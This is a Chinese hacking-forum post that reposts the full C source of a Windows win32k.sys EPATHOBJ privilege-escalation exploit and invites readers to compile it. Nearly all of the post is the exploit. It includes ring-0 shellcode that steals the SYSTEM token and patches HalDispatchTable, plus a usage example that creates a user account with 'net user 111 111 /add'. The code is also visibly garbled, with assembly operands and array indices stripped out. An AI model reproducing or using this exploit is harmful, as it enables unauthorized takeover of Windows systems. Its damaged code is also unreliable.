.EPATHOBJ 0day exploit最新提权工具
发表于 3 天前 |只看该作者 |倒序浏览 各位机友自己去编译吧) E/ c( I3 J* m1 O* J# c# Q9 ]
原帖内容如下:www.t00ls.net: R& ^0 M3 k( A0 ^9 D
Tavis Ormandy 在做压力测试的时候发现的这个漏洞. - 专注网络安全4 q: B7 R2 U' s( v: c
5 I! K3 F2 h: q
see:
http://blog.cmpxchg8b.com/
http://seclists.org/fulldisclosure/2013/May/118
01.#include <stdio.h>
02.#include <STDARG.H>
03.#include <stddef.h>
04.#include <windows.h>
05.//#include <ntstatus.h>
06.
07.#pragma comment(lib, "gdi32")
08.#pragma comment(lib, "kernel32")
09.#pragma comment(lib, "user32")
10.
11.#define MAX_POLYPOINTS (8192 * 3)
12.#define MAX_REGIONS 8192
13.#define CYCLE_TIMEOUT 10000
14.
15.#pragma comment(linker, "/SECTION:.text,ERW")
16.
17.//
18.// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
19.//
20.// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
21.//
22.
23.POINT Points;
24.BYTE PointTypes;
25.HRGN Regions;
26.ULONG NumRegion = 0;
27.HANDLE Mutex;
28.
29.// Log levels.
30.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
31.
32.VOID LogInit();
33.VOID LogRelase();
34.BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
35.
36.// Copied from winddi.h from the DDK
37.#define PD_BEGINSUBPATH 0x00000001
38.#define PD_ENDSUBPATH 0x00000002
39.#define PD_RESETSTYLE 0x00000004
40.#define PD_CLOSEFIGURE 0x00000008
41.#define PD_BEZIERS 0x00000010
42.
43.#define ENABLE_SWITCH_DESKTOP1
44.
45.typedef struct_POINTFIX
46.{
47. ULONG x;
48. ULONG y;
49.} POINTFIX, *PPOINTFIX;
50.
51.// Approximated from reverse engineering.
52.typedef struct _PATHRECORD {
53. struct _PATHRECORD *next;
54. struct _PATHRECORD *prev;
55. ULONG flags;
56. ULONG count;
57. POINTFIX points;
58.} PATHRECORD, *PPATHRECORD;
59.
60.PPATHRECORD PathRecord;
61.PATHRECORDExploitRecord = {0};
62.PPATHRECORD ExploitRecordExit;
63.
64.typedef struct _RTL_PROCESS_MODULE_INFORMATION {
65. HANDLE Section; // Not filled in
66. PVOID MappedBase;
67. PVOID ImageBase;
68. ULONG ImageSize;
69. ULONG Flags;
70. USHORT LoadOrderIndex;
71. USHORT InitOrderIndex;
72. USHORT LoadCount;
73. USHORT OffsetToFileName;
74. UCHARFullPathName[ 256 ];
75.} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
76.
77.typedef struct _RTL_PROCESS_MODULES {
78. ULONG NumberOfModules;
79. RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
80.} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
81.
82.typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
83.typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
84.typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
85.typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);
86.
87.NtQueryIntervalProfile_NtQueryIntervalProfile;
88.NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
89.NtQuerySystemInformation_ NtQuerySystemInformation;
90.NtFreeVirtualMemory_ NtFreeVirtualMemory;
91.ULONG PsInitialSystemProcess, PsReferencePrimaryToken,
92. PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;
93.
94.void _declspec(naked) ShellCode()
95.{
96. __asm
97. {
98. pushad
99. pushfd
100. mov esi,PsReferencePrimaryToken
101.FindTokenOffset:
102. lodsb
103. cmp al, 8Dh;
104. jnz FindTokenOffset
105. mov edi,
106. mov esi,PsInitialSystemProcess
107. mov esi,
108. push fs:
109. mov eax,PsGetThreadProcess
110. call eax
111. add esi, edi
112. push esi
113. add edi, eax
114. movsd
115.
116. ;add token ref count.
117. pop esi
118. mov esi,
119. and esi, 0xFFFFFFF8
120. lea eax,
121. mov DWORD PTR , 0x016B00B5
122. ;fix the haltable
123. mov eax, WriteToHalDispatchTable
124. mov ecx, FixAddress
125. mov , 0xC3
126. mov DWORD PTR , ecx
127.
128. popfd
129. popad
130. ;set ret code for NtQueryIntervalProfile
131. mov eax,
132. mov DWORD PTR , 1
133. mov DWORD PTR , 0xC0000018
134. xor eax, eax
135. ret
136. }
137.}
138.
139.DWORD WINAPI WatchdogThread(LPVOID Parameter)
140.{
141.//
142. // This routine waits for a mutex object to timeout, then patches the
143. // compromised linked list to point to an exploit. We need to do this.
144. //
145.
146.LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());
147.
148. if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
149.
150. //
151. // It looks like the main thread is stuck in a call to FlattenPath(),
152. // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
153. // up, and then patch the list to trigger our exploit.
154. //
155.
156. while (NumRegion--)
157. DeleteObject(Regions);
158.
159. LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);
160.
161. InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);
162.
163. } else {
164. LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
165. }
166.
167. return 0;
168.}
169.
170.void wellcome()
171.{
172.printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");
173.printf("*******************************************************************\n");
174.printf("***\texploit by:<progmboy> <programmeboy@gmail.com>\t\t***\n");
175.printf("***\t0day finder:<Tavis Ormandy> <taviso@cmpxchg8b.com>\t***\n");
176.printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");
177.printf("*******************************************************************\n");
178.}
179.
180.void usage()
181.{
182.printf("\nusage:\n<app> <cmd> <parameter>\n");
183.printf("example:\napp.exe net \"user 111 111 /add\"");
184.}
185.
186.BOOL
187.FindAFixAddress(
188.ULONG NtoskrnlBase)
189.{
190.FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);
191.LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);
192.return TRUE;
193.
194.}
195.
196.// 0x602464FF; /*jmp esp+0x60*/
197.// 0x51C3686A; /*push 0; ret*/
198.DWORD CheckMagicDword()
199.{
200.OSVERSIONINFOEX OSVer;
201.DWORD dwMagic = 0;
202.
203. OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
204. if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
205. switch(OSVer.dwMajorVersion){
206. case 5:
207. dwMagic = 0x602464FF;
208. break;
209. case 6:
210. dwMagic = 0x642464FF;
211. break;
212. default:
213. dwMagic = 0;
214. }
215.}
216.return dwMagic;
217.}
218.
219.
220.int main(int argc, char **argv)
221.{
222. HANDLE Thread;
223. HDC Device;
224. ULONG Size;
225. ULONG PointNum;
226.int nret = 0;
227.
228.DWORD MAGIC_DWORD = CheckMagicDword();
229. ULONG AllocSize = 0x1000, status, NtoskrnlBase;
230.RTL_PROCESS_MODULESmodule;
231.HMODULE ntoskrnl = NULL;
232.DWORD dwFix;
233.ULONG Address = MAGIC_DWORD & 0xFFFFF000;
234.LONG ret;
235.BOOL bRet = FALSE;
236.#ifdef ENABLE_SWITCH_DESKTOP
237.HDESK hDesk;
238.#endif
239. HMODULEntdll = GetModuleHandle( "ntdll.dll" );
240.
241.wellcome();
242.
243.if (argc < 2){
244. usage();
245. return -1;
246.}
247.
248.if (!MAGIC_DWORD){
249. LogMessage(L_ERROR, "unsupported system version\n");
250. return -1;
251.}
252.
253.LogInit();
254.
255.NtQueryIntervalProfile =(NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
256. NtAllocateVirtualMemory =(NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
257. NtQuerySystemInformation=(NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );
258.NtFreeVirtualMemory =(NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );
259. if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory ||
260. !NtQuerySystemInformation || !NtFreeVirtualMemory){
261. LogMessage(L_ERROR, "get function address error\n");
262. LogRelase();
263. return -1;
264.}
265.
266.//
267.// try to allocate memory.
268.//
269.
270.while (TRUE){
271. ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
272. if(ret < 0){
273. MEMORY_BASIC_INFORMATION meminfo;
274. LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);
275. LogMessage(L_INFO, "try to free memory");
276. if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){
277. LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);
278. }
279. ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);
280. if (ret < 0){
281. LogMessage(L_ERROR, "free memory error code 0x%08x", ret);
282. LogRelase();
283. return -1;
284. }
285. }else{
286. break;
287. }
288.}
289.
290.//
291.// get the kernel info
292.//
293.
294. status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
295. if ( status != 0xC0000004 ){
296. LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);
297. LogRelase();
298. return -1;
299.}
300.
301. NtoskrnlBase =(ULONG)module.Modules.ImageBase;
302.
303. //
304. // 把ntoskrnl.exe加载进来
305. //
306.
307. ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules.FullPathName + module.Modules.OffsetToFileName ) );
308. if (ntoskrnl == NULL){
309. LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());
310. LogRelase();
311. return -1;
312.}
313.
314. //
315. // 计算实际地址
316. //
317.
318. WriteToHalDispatchTable =(ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;
319. PsInitialSystemProcess =(ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
320. PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
321. PsGetThreadProcess =(ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
322.
323.if(!FindAFixAddress(NtoskrnlBase)){
324. LogMessage(L_ERROR, "Can not Find A Fix Address\n");
325. nret = -1;
326. goto __end;
327.}
328.
329.//
330. // Create our PATHRECORD in user space we will get added to the EPATHOBJ
331. // pathrecord chain.
332. //
333.
334.PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
335. sizeof(PATHRECORD),
336. MEM_COMMIT | MEM_RESERVE,
337. PAGE_EXECUTE_READWRITE);
338.
339. LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
340.
341.//
342. // Initialize with recognizable debugging values.
343. //
344.
345.FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
346.
347. PathRecord->next = PathRecord;
348. PathRecord->prev = (PPATHRECORD)(0x42424242);
349.
350.//
351. // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
352. // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
353. // loop in EPATHOBJ::bFlatten().
354. //
355.
356.PathRecord->flags = 0;
357.
358. LogMessage(L_INFO, "->next@ %p", PathRecord->next);
359. LogMessage(L_INFO, "->prev@ %p", PathRecord->prev);
360. LogMessage(L_INFO, "->flags @ %u", PathRecord->flags);
361.
362.ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
363.ExploitRecordExit->next = NULL;
364.ExploitRecordExit->next = NULL;
365.ExploitRecordExit->flags = PD_BEGINSUBPATH;
366.ExploitRecordExit->count = 0;
367.
368.
369.ExploitRecord.next= (PPATHRECORD)MAGIC_DWORD;
370. ExploitRecord.prev= (PPATHRECORD)WriteToHalDispatchTable;
371. ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
372.ExploitRecord.count = 4;
373.
374. LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
375.
376.//
377. // Generate a large number of Belier Curves made up of pointers to our
378. // PATHRECORD object.
379. //
380.
381.for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
382. Points.x = (ULONG)(PathRecord) >> 4;
383. Points.y = (ULONG)(PathRecord) >> 4;
384. PointTypes = PT_BEZIERTO;
385. }
386.
387.//
388. // Switch to a dedicated desktop so we don't spam the visible desktop with
389. // our Lines (Not required, just stops the screen from redrawing slowly).
390. //
391.#ifdef ENABLE_SWITCH_DESKTOP
392.hDesk = CreateDesktop( "DontPanic",
393. NULL,
394. NULL,
395. 0,
396. GENERIC_ALL,
397. NULL);
398.if (hDesk){
399. SetThreadDesktop(hDesk);
400.}
401.#endif
402.
403.while (TRUE){
404.
405. BOOL bBreak = FALSE;
406.
407. Mutex = CreateMutex(NULL, TRUE, NULL);
408. if (!Mutex){
409. LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
410. nret = -1;
411. goto __end;
412. }
413.
414. //
415. // Get a handle to this Desktop.
416. //
417.
418. Device = GetDC(NULL);
419.
420. //
421. // Spawn a thread to cleanup
422. //
423.
424. Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
425.
426. LogMessage(L_INFO, "start CreateRoundRectRgn");
427.
428. //
429. // We need to cause a specific AllocObject() to fail to trigger the
430. // exploitable condition. To do this, I create a large number of rounded
431. // rectangular regions until they start failing. I don't think it matters
432. // what you use to exhaust paged memory, there is probably a better way.
433. //
434. // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
435. // failure. Seriously, do some damn QA Microsoft, wtf.
436. //
437.
438. for (Size = 1 << 26; Size; Size >>= 1) {
439. while (TRUE){
440. HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
441. if (!hm){
442. break;
443. }
444. if (NumRegion < MAX_REGIONS){
445. Regions = hm;
446. NumRegion++;
447. }else{
448. NumRegion = 0;
449. }
450. }
451. }
452.
453. LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
454.
455. LogMessage(L_INFO, "Flattening curves...");
456.
457. //
458. // Begin filling the free list with our points.
459. //
460.
461. dwFix = *(PULONG)ShellCode;
462.
463. for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
464. BeginPath(Device);
465. PolyDraw(Device, Points, PointTypes, PointNum);
466. EndPath(Device);
467. FlattenPath(Device);
468. FlattenPath(Device);
469.
470. //
471. // call the function to exploit.
472. //
473.
474. ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);
475.
476. //
477. // we will set the status with 0xC0000018 in ring0 shellcode.
478. //
479.
480. if (*(PULONG)ShellCode == 0xC0000018){
481. bRet = TRUE;
482. break;
483. }
484.
485. //
486. // fix
487. //
488.
489. *(PULONG)ShellCode = dwFix;
490.
491. EndPath(Device);
492. }
493.
494. if (bRet){
495. LogMessage(L_INFO, "Exploit ok run command");
496. ShellExecute( NULL, "open", argv, argc > 2 ? argv : NULL, NULL, SW_SHOW);
497. bBreak = TRUE;
498. }else{
499. LogMessage(L_INFO, "No luck, cleaning up. and try again..");
500. }
501.
502. //
503. // If we reach here, we didn't trigger the condition. Let the other thread know.
504. //
505.
506. ReleaseMutex(Mutex);
507.
508. ReleaseDC(NULL, Device);
509. WaitForSingleObject(Thread, INFINITE);
510.
511. if (bBreak){
512. break;
513. }
514.
515.}
516.__end:
517.LogRelase();
518.if (ntoskrnl)
519. FreeLibrary(ntoskrnl);
520.#ifdef ENABLE_SWITCH_DESKTOP
521.if (hDesk){
522. CloseHandle(hDesk);
523.}
524.#endif
525. return nret;
526.}
527.
528.CRITICAL_SECTION gCSection;
529.
530.VOID LogInit()
531.{
532.InitializeCriticalSection(&gCSection);
533.}
534.
535.VOID LogRelase()
536.{
537.DeleteCriticalSection(&gCSection);
538.}
539.
540.//
541.// A quick logging routine for debug messages.
542.//
543.
544.BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
545.{
546. CHAR Buffer = {0};
547. va_list Args;
548.
549.EnterCriticalSection(&gCSection);
550.
551. va_start(Args, Format);
552. _snprintf(Buffer, sizeof(Buffer), Format, Args);
553. va_end(Args);
554.
555. switch (Level) {
556. case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
557. case L_INFO:fprintf(stdout, "[+] %s\n", Buffer); break;
558. case L_WARN:fprintf(stderr, "[*] %s\n", Buffer); break;
559. case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
560. }
561.
562. fflush(stdout);
563. fflush(stderr);
564.
565.LeaveCriticalSection(&gCSection);
566.
567. return TRUE;
568.}
页:
[1]